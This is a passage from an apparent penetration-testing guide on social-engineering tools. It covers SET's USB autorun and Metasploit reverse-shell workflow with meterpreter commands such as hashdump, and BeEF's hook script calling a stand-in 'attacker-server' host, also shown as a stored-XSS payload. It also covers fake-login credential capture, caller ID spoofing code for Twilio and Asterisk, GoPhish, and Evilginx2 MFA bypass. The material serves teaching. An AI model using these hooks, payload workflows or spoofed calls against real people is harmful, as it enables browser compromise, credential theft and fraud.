&lt;p&gt;Generates autorun-enabled media content — payloads designed to execute when a USB drive or other removable media is connected. This is the SET component most directly supporting USB drop attacks. It generates &lt;code&gt;autorun.inf&lt;/code&gt; files paired with Metasploit payloads, creating malicious USB drives that can establish reverse shells on target systems.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# USB attack generation:&lt;/span&gt;
&lt;span class="c"&gt;# 1 (Social-Engineering Attacks) →&lt;/span&gt;
&lt;span class="c"&gt;# 3 (Infectious Media Generator) →&lt;/span&gt;
&lt;span class="c"&gt;# 1 (File-Format Exploits) or 2 (Standard Metasploit Executable)&lt;/span&gt;
&lt;span class="c"&gt;# Payload is generated and placed in /root/.set/autorun/&lt;/span&gt;
&lt;span class="c"&gt;# Content is copied to USB drive for physical deployment&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4. Create a Payload and Listener&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Standalone payload generation and listener management — effectively a simplified interface to Metasploit's &lt;code&gt;msfvenom&lt;/code&gt; for creating standalone executables, scripts, and other payloads for delivery through social engineering channels.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Mass Mailer Attack&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A bulk email delivery module for mass phishing campaigns. Allows configuration of email templates, SMTP settings, and target lists. Less commonly used by professionals than GoPhish for bulk campaigns (GoPhish provides better tracking and reporting), but useful for quick, integrated campaigns where payload delivery is more important than detailed per-recipient tracking.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Arduino-Based Attack Vector&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Manages HID attack payloads for Arduino-based USB attack devices (including Teensy and similar microcontrollers). Generates DuckyScript or Arduino payloads for keystroke injection attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Wireless Access Point Attack Vector&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Creates rogue wireless access points that impersonate legitimate networks, enabling MitM attacks against targets who connect. Integrates with other SET modules to deliver browser exploits, credential harvesters, or payloads to connected clients.&lt;/p&gt;

&lt;h4&gt;
  
  
  SET Integration with Metasploit
&lt;/h4&gt;

&lt;p&gt;SET's deepest capability comes from its Metasploit integration. When SET generates a payload, it uses &lt;code&gt;msfvenom&lt;/code&gt; (Metasploit's payload generation tool) and automatically configures a Metasploit &lt;code&gt;multi/handler&lt;/code&gt; listener to receive the resulting connection. This means a successful social engineering attack that gets a user to open a SET-generated payload automatically delivers a Meterpreter or reverse shell session directly into Metasploit — ready for post-exploitation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# The complete SET → Metasploit workflow:&lt;/span&gt;
&lt;span class="c"&gt;# SET generates payload embedded in a document&lt;/span&gt;
&lt;span class="c"&gt;# Document is delivered via email phishing&lt;/span&gt;
&lt;span class="c"&gt;# Target opens the document&lt;/span&gt;
&lt;span class="c"&gt;# Payload executes and connects back to:&lt;/span&gt;
&lt;span class="c"&gt;#   LHOST (attacker IP): configured in SET&lt;/span&gt;
&lt;span class="c"&gt;#   LPORT: configured in SET&lt;/span&gt;
&lt;span class="c"&gt;# Metasploit's multi/handler receives the connection&lt;/span&gt;
&lt;span class="c"&gt;# Attacker has a Meterpreter session for post-exploitation:&lt;/span&gt;
&lt;span class="c"&gt;#   meterpreter &amp;gt; sysinfo&lt;/span&gt;
&lt;span class="c"&gt;#   meterpreter &amp;gt; getuid&lt;/span&gt;
&lt;span class="c"&gt;#   meterpreter &amp;gt; hashdump&lt;/span&gt;
&lt;span class="c"&gt;#   meterpreter &amp;gt; shell&lt;/span&gt;
&lt;span class="c"&gt;#   meterpreter &amp;gt; run post/multi/recon/local_exploit_suggester&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  SET Configuration File
&lt;/h4&gt;

&lt;p&gt;SET's behavior is extensively customizable through its configuration file at &lt;code&gt;/etc/setoolkit/set.config&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Key SET configuration options:&lt;/span&gt;
&lt;span class="nv"&gt;METASPLOIT_PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/metasploit-framework  &lt;span class="c"&gt;# Metasploit location&lt;/span&gt;
&lt;span class="nv"&gt;APACHE_SERVER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;OFF                                 &lt;span class="c"&gt;# Use Apache for web attacks&lt;/span&gt;
&lt;span class="nv"&gt;APACHE_DIRECTORY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/www/html                   &lt;span class="c"&gt;# Web root&lt;/span&gt;
&lt;span class="nv"&gt;HARVESTER_REDIRECT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ON                            &lt;span class="c"&gt;# Redirect after harvesting&lt;/span&gt;
&lt;span class="nv"&gt;HARVESTER_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;                                   &lt;span class="c"&gt;# Redirect destination URL&lt;/span&gt;
&lt;span class="nv"&gt;JAVA_APPLET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;OFF                                  &lt;span class="c"&gt;# Java applet attacks&lt;/span&gt;
&lt;span class="nv"&gt;SELF_SIGNED_APPLET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;OFF                           &lt;span class="c"&gt;# Self-signed cert&lt;/span&gt;
&lt;span class="nv"&gt;EMAIL_ADDRESS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;                                   &lt;span class="c"&gt;# SMTP sender address&lt;/span&gt;
&lt;span class="nv"&gt;SENDMAIL_PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/sbin/sendmail                 &lt;span class="c"&gt;# Mail transfer agent&lt;/span&gt;
&lt;span class="nv"&gt;SENDGRID_API_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;                               &lt;span class="c"&gt;# SendGrid API key&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  4.4.3 Browser Exploitation Framework (BeEF)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Official site:&lt;/strong&gt; &lt;a href="https://beefproject.com" rel="noopener noreferrer"&gt;https://beefproject.com&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/beefproject/beef" rel="noopener noreferrer"&gt;https://github.com/beefproject/beef&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Written in:&lt;/strong&gt; Ruby (server), JavaScript (hook)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; Linux (included in Kali Linux)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;License:&lt;/strong&gt; GPL-3.0&lt;/p&gt;

&lt;p&gt;BeEF — Browser Exploitation Framework — occupies a unique position in the social engineering toolkit. While SET focuses on delivering payloads through email, web cloning, and physical media, BeEF specifically targets the web browser as its exploitation surface. When a target visits a page containing BeEF's JavaScript hook, their browser becomes a command-and-control node that the attacker can interact with in real time through BeEF's web-based dashboard.&lt;/p&gt;
&lt;h4&gt;
  
  
  The Core BeEF Concept — Browser Hooking
&lt;/h4&gt;

&lt;p&gt;The attack begins with a single line of JavaScript — the hook — embedded in a web page the target visits. This hook might be placed in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A phishing page hosted by the attacker&lt;/li&gt;
&lt;li&gt;A legitimate website that has been compromised (a watering hole attack)&lt;/li&gt;
&lt;li&gt;An XSS vulnerability in a legitimate web application that the target authenticates to&lt;/li&gt;
&lt;li&gt;A rogue Wi-Fi access point that injects the hook into HTTP responses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When the target visits the hooked page, the JavaScript executes in their browser and establishes a persistent connection back to the BeEF server. This connection is maintained through continuous polling — the hook repeatedly contacts the BeEF server for new commands, executing them in the browser context and returning results.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// The BeEF hook (single line that compromises the browser session):&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://attacker-server:3000/hook.js&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;
&lt;span class="c1"&gt;// This line, when loaded in a target's browser, provides:&lt;/span&gt;
&lt;span class="c1"&gt;// - Browser type, version, and installed plugins&lt;/span&gt;
&lt;span class="c1"&gt;// - Operating system information&lt;/span&gt;
&lt;span class="c1"&gt;// - Geolocation (with permission)&lt;/span&gt;
&lt;span class="c1"&gt;// - Cookie access (for the hooked domain)&lt;/span&gt;
&lt;span class="c1"&gt;// - Ability to execute arbitrary JavaScript in the browser context&lt;/span&gt;
&lt;span class="c1"&gt;// - Ability to display fake dialogs and forms&lt;/span&gt;
&lt;span class="c1"&gt;// - Gateway to Metasploit browser exploits&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  BeEF's Command Module Categories
&lt;/h4&gt;

&lt;p&gt;BeEF organizes its capabilities into modules organized by category. The traffic light color coding in BeEF's interface indicates a module's likely success and stealth:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Green modules:&lt;/strong&gt; Work on any browser, completely transparent to the user, detected by very few AV products.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Orange modules:&lt;/strong&gt; Work on some browsers, may create visible effects, detected by some AV products.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red modules:&lt;/strong&gt; May crash the browser or cause visible errors, detected by many AV products.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Grey modules:&lt;/strong&gt; Unknown effectiveness, potentially unreliable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key capability categories:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Network (Internal network discovery from browser context)
├── Get Internal IP Address
├── Identify LAN Subnets  
├── Port Scanner (via browser to internal targets)
├── DNS Enumeration
└── Finger clients on LAN

Browser (Browser-specific attacks and information)
├── Detect Installed Software
├── Detect Plugins
├── Browser Fingerprinting
├── Steal AutoComplete Data
└── Get All Cookies

User Interface (Social engineering via browser dialog)
├── Alert Dialog
├── Custom Popup
├── Create Fake Notification Bar (fake browser security warning)
├── Pretty Theft (fake login dialog overlay)
├── Fake Flash Update (convincing fake plugin update)
└── Webcam / Microphone access (with user permission dialog)

Metasploit Integration
├── Browser Autopwn (automated exploit selection and delivery)
├── Specific CVE exploits for browser versions
└── Integration with Metasploit sessions

Persistence
├── Man-in-the-Browser (MITB) attacks
├── Session Hijacking
└── Persistent Cookie injection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  The Pretty Theft Module — A Detailed Example
&lt;/h4&gt;

&lt;p&gt;The Pretty Theft module demonstrates BeEF's social engineering sophistication. It overlays the target's current browser window with a fake dialog that exactly mimics a legitimate re-authentication request from the domain the target is currently visiting. The dialog's appearance is customizable — it can match Google, Facebook, Windows credentials, or any configured target.&lt;/p&gt;

&lt;p&gt;When the target enters their credentials in the fake dialog (believing they are re-authenticating to the legitimate service), BeEF captures those credentials and returns them to the attacker in real time. The overlay then disappears, and the user continues their normal session — often completely unaware that anything happened.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# BeEF workflow:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Start BeEF&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;beef-xss
&lt;span class="c"&gt;# Access panel at: http://127.0.0.1:3000/ui/panel&lt;/span&gt;
&lt;span class="c"&gt;# Default credentials: beef/beef (change immediately)&lt;/span&gt;

&lt;span class="c"&gt;# 2. Deliver the hook via phishing email containing a link to:&lt;/span&gt;
&lt;span class="c"&gt;# http://attacker-server/hook_page.html&lt;/span&gt;

&lt;span class="c"&gt;# 3. When target visits, their browser appears in BeEF panel&lt;/span&gt;
&lt;span class="c"&gt;# Under "Hooked Browsers" → select target browser&lt;/span&gt;

&lt;span class="c"&gt;# 4. Execute Pretty Theft module:&lt;/span&gt;
&lt;span class="c"&gt;# Commands → Social Engineering → Pretty Theft&lt;/span&gt;
&lt;span class="c"&gt;# Configure: target platform (Facebook, Google, etc.)&lt;/span&gt;
&lt;span class="c"&gt;# Execute&lt;/span&gt;

&lt;span class="c"&gt;# 5. Credentials captured in real time in BeEF panel&lt;/span&gt;
&lt;span class="c"&gt;# Available under Commands → module output&lt;/span&gt;

&lt;span class="c"&gt;# 6. Combine with Metasploit:&lt;/span&gt;
&lt;span class="c"&gt;# Commands → Metasploit → Browser Autopwn 2&lt;/span&gt;
&lt;span class="c"&gt;# BeEF automatically identifies browser version and selects appropriate exploit&lt;/span&gt;
&lt;span class="c"&gt;# Delivers Metasploit payload through the browser&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  BeEF in XSS Exploitation Context
&lt;/h4&gt;

&lt;p&gt;One of BeEF's most powerful use cases is in web application penetration testing. When a cross-site scripting (XSS) vulnerability is found in a web application, the typical demonstration is capturing an alert box — a relatively low-impact proof of concept. BeEF transforms an XSS vulnerability into a full browser compromise by injecting the hook as the XSS payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- XSS payload that hooks the victim's browser into BeEF: --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://attacker-server:3000/hook.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- In a stored XSS context (e.g., a forum post or comment field): --&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!-- Every user who loads the page becomes a hooked zombie in BeEF --&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!-- The attacker can then execute commands against any hooked browser --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This transforms a "medium" severity finding (stored XSS) into a "critical" finding (full browser compromise enabling credential theft, session hijacking, and potential remote code execution through browser exploits).&lt;/p&gt;




&lt;h3&gt;
  
  
  4.4.4 Call Spoofing Tools — The Infrastructure of Vishing
&lt;/h3&gt;

&lt;p&gt;Caller ID spoofing is the technical foundation of professional vishing campaigns. For authorized penetration testing, several tools and services provide caller ID control:&lt;/p&gt;

&lt;h4&gt;
  
  
  SpoofCard and Commercial Spoofing Services
&lt;/h4&gt;

&lt;p&gt;Commercial caller ID spoofing services allow calls to display any specified caller ID number. The attacker dials the spoofing service, specifies the target number and the desired caller ID, and the service routes the call with the specified identification.&lt;/p&gt;

&lt;p&gt;These services are used legitimately (law enforcement, privacy protection) and for fraud. In authorized penetration testing, they are a straightforward way to make calls appear to originate from internal corporate numbers, vendor phone numbers, or government agencies.&lt;/p&gt;

&lt;h4&gt;
  
  
  Twilio — Programmable Voice for Authorized Testing
&lt;/h4&gt;

&lt;p&gt;Twilio is a cloud communications platform that provides programmable telephone services, including full control over caller ID for outgoing calls. It is the professional penetration tester's preferred infrastructure for vishing campaigns because it provides:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Twilio Python SDK for authorized vishing calls
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;twilio.rest&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Client&lt;/span&gt;

&lt;span class="n"&gt;account_sid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;your_account_sid&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;auth_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;your_auth_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;account_sid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;auth_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Make a call with spoofed caller ID
&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;calls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;+1-555-TARGET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;               &lt;span class="c1"&gt;# Target number
&lt;/span&gt;    &lt;span class="n"&gt;from_&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;+1-555-SPOOFED&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;           &lt;span class="c1"&gt;# Caller ID to display
&lt;/span&gt;    &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://handler.twilio.com/twiml/EH...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# TwiML for call routing
&lt;/span&gt;    &lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;                        &lt;span class="c1"&gt;# Record for evidence (with authorization)
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# For automated vishing scenarios, TwiML defines call behavior:
# Text-to-speech for initial contact, then transfer to live operator
# Or: play recorded message and gather DTMF input
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Twilio's legitimacy advantage:&lt;/strong&gt; Unlike underground spoofing services, Twilio is a legitimate business communications provider. This means the caller ID shows as the specified number without the "SPOOFED CALL" warning that some carrier-level anti-spoofing measures apply to known spoofing services.&lt;/p&gt;

&lt;h4&gt;
  
  
  Asterisk PBX for Internal Infrastructure
&lt;/h4&gt;

&lt;p&gt;For organizations with dedicated red team infrastructure, Asterisk (open-source PBX) allows complete control over outgoing caller ID without relying on third-party services:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Asterisk outbound dial with custom caller ID&lt;/span&gt;
&lt;span class="c"&gt;# In extensions.conf:&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;outbound-calls]
exten &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; s,1,Set&lt;span class="o"&gt;(&lt;/span&gt;CALLERID&lt;span class="o"&gt;(&lt;/span&gt;num&lt;span class="o"&gt;)=&lt;/span&gt;+15551234567&lt;span class="o"&gt;)&lt;/span&gt;   &lt;span class="c"&gt;# Spoofed number&lt;/span&gt;
exten &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; s,2,Set&lt;span class="o"&gt;(&lt;/span&gt;CALLERID&lt;span class="o"&gt;(&lt;/span&gt;name&lt;span class="o"&gt;)=&lt;/span&gt;Target Company IT&lt;span class="o"&gt;)&lt;/span&gt;  &lt;span class="c"&gt;# Spoofed name  &lt;/span&gt;
exten &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; s,3,Dial&lt;span class="o"&gt;(&lt;/span&gt;SIP/sip-provider/&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;EXTEN&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# This routes outgoing calls through a SIP provider with full caller ID control&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Voice Cloning Technologies — The AI Evolution
&lt;/h4&gt;

&lt;p&gt;The emergence of AI-powered voice cloning represents a significant evolution in vishing capability. Platforms that can clone a person's voice from audio samples now exist at accessible price points:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ElevenLabs, Resemble AI, and similar platforms&lt;/strong&gt; can clone voice characteristics from as little as a few minutes of audio. Once cloned, the synthetic voice can read arbitrary text in real time or batch-generate audio files.&lt;/p&gt;

&lt;p&gt;For authorized social engineering testing, voice cloning enables simulation of the AI-augmented vishing attacks that real threat actors are already deploying. Testing an organization's detection and response to a voice-cloned executive is a meaningful and increasingly necessary component of comprehensive social engineering assessments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Legal and ethical considerations:&lt;/strong&gt; Voice cloning of real individuals without their consent is illegal in many jurisdictions and deeply ethically problematic. In authorized assessments, voice cloning should only be performed with explicit consent of both the engaging organization and (ideally) the individual whose voice is cloned. Reports should clearly document the capability demonstrated without enabling misuse of the cloned voice material.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.4.5 GoPhish — Professional Phishing Campaign Management
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/gophish/gophish" rel="noopener noreferrer"&gt;https://github.com/gophish/gophish&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Written in:&lt;/strong&gt; Go&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; Linux, Windows, macOS&lt;br&gt;&lt;br&gt;
&lt;strong&gt;License:&lt;/strong&gt; MIT&lt;/p&gt;

&lt;p&gt;GoPhish is the gold standard tool for managing phishing campaigns in authorized penetration testing engagements. Unlike SET's all-in-one approach, GoPhish focuses specifically on the email delivery and tracking components of phishing campaigns — providing a professional web-based campaign management interface.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Installation&lt;/span&gt;
wget https://github.com/gophish/gophish/releases/latest/download/gophish-&lt;span class="k"&gt;*&lt;/span&gt;.zip
unzip gophish-&lt;span class="k"&gt;*&lt;/span&gt;.zip &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;gophish
./gophish &amp;amp;
&lt;span class="c"&gt;# Access at https://127.0.0.1:3333 (default admin credentials in config.json)&lt;/span&gt;

&lt;span class="c"&gt;# GoPhish campaign structure:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Sending Profile: SMTP server, from address, display name&lt;/span&gt;
&lt;span class="c"&gt;# 2. Email Template: Subject, body (HTML), attachments&lt;/span&gt;
&lt;span class="c"&gt;# 3. Landing Page: Phishing page (can import from URL automatically)&lt;/span&gt;
&lt;span class="c"&gt;# 4. Target Group: List of target email addresses and names&lt;/span&gt;
&lt;span class="c"&gt;# 5. Campaign: Combines above into a trackable, schedulable campaign&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What GoPhish tracks per target:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Email sent (timestamp)&lt;/li&gt;
&lt;li&gt;Email opened (via tracking pixel)&lt;/li&gt;
&lt;li&gt;Link clicked (tracked redirect)&lt;/li&gt;
&lt;li&gt;Credentials submitted (captured by landing page)&lt;/li&gt;
&lt;li&gt;Email reported (if reporting integration configured)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These per-user metrics are what make GoPhish invaluable for security awareness program measurement — the campaign data shows exactly who is susceptible, allowing targeted training for high-risk individuals.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.4.6 Evilginx2 — Adversary-in-the-Middle Phishing
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/kgretzky/evilginx2" rel="noopener noreferrer"&gt;https://github.com/kgretzky/evilginx2&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Author:&lt;/strong&gt; Kuba Gretzky&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Written in:&lt;/strong&gt; Go&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; MFA-bypassing AitM phishing framework&lt;/p&gt;

&lt;p&gt;Evilginx2 represents a significant advancement over traditional credential harvesting phishing. It operates as a full reverse proxy — intercepting authentication between the target and the real service — enabling it to capture not just credentials but also the post-authentication session token, effectively bypassing multi-factor authentication.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How it differs from credential harvesting:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Traditional credential harvesting (via SET or GoPhish landing pages) captures the username and password. If the target has MFA enabled, the captured credentials are immediately useless — the attacker cannot authenticate without the second factor.&lt;/p&gt;

&lt;p&gt;Evilginx2 proxies the entire authentication flow. The target believes they are authenticating to the real service; Evilginx2 relays every interaction to the real service while capturing the session cookie that results from successful authentication — including the second factor. The captured session cookie can then be used to access the target's authenticated session without needing to re-authenticate or present MFA.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack flow:

1. Target receives phishing link to attacker's domain (proxied to real service)
2. Target visits phishing domain → Evilginx2 fetches real login page and serves it
3. Target enters credentials → Evilginx2 captures them and relays to real service
4. Real service sends MFA challenge → Evilginx2 relays to target
5. Target completes MFA → Evilginx2 captures session cookie from response
6. Target sees successful login → Evilginx2 also has the session cookie
7. Attacker imports session cookie to browser → accesses target's account fully authenticated

Result: MFA is completely bypassed through session token theft rather than credential capture
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This technique is responsible for a significant number of real-world credential compromises in cloud environments — particularly Microsoft 365 and Google Workspace accounts — making it a critical component of realistic phishing assessments for organizations that use MFA.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.4.7 Supporting Tools and Infrastructure
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Gophish + Evilginx2 integration:&lt;/strong&gt; These tools are often combined, with GoPhish managing email delivery and tracking while Evilginx2 handles the actual phishing site for sophisticated MFA-bypass campaigns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;O365 Spray / MSOLSpray:&lt;/strong&gt; For password spraying against Microsoft 365 targets identified through phishing or OSINT. Tests a single password against many accounts to avoid lockout while credential verification proceeds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maltego:&lt;/strong&gt; OSINT aggregation and visualization platform used for gathering and correlating intelligence before social engineering campaigns. The visual link graph reveals relationship patterns between employees, organizations, and technical infrastructure that feed into pretext construction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTrack / wget:&lt;/strong&gt; Website cloning tools for creating offline copies of login portals and other target web pages for use as phishing landing pages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;dnstwist:&lt;/strong&gt; Identifies typosquatted domain variants for a target domain — potential phishing infrastructure to register, and existing phishing infrastructure to report.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Canary Tokens:&lt;/strong&gt; Free, legitimate service that generates tracking tokens (URLs, documents, DNS lookups, more) that alert when triggered. Used defensively to detect unauthorized access; used offensively in assessment contexts to verify that dropped USB drives are connected or phishing links are clicked.&lt;/p&gt;




&lt;h2&gt;
  
  
  4.5 Methods of Influence — The Complete Psychological Framework
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.5.1 Overview — How Influence Actually Works
&lt;/h3&gt;

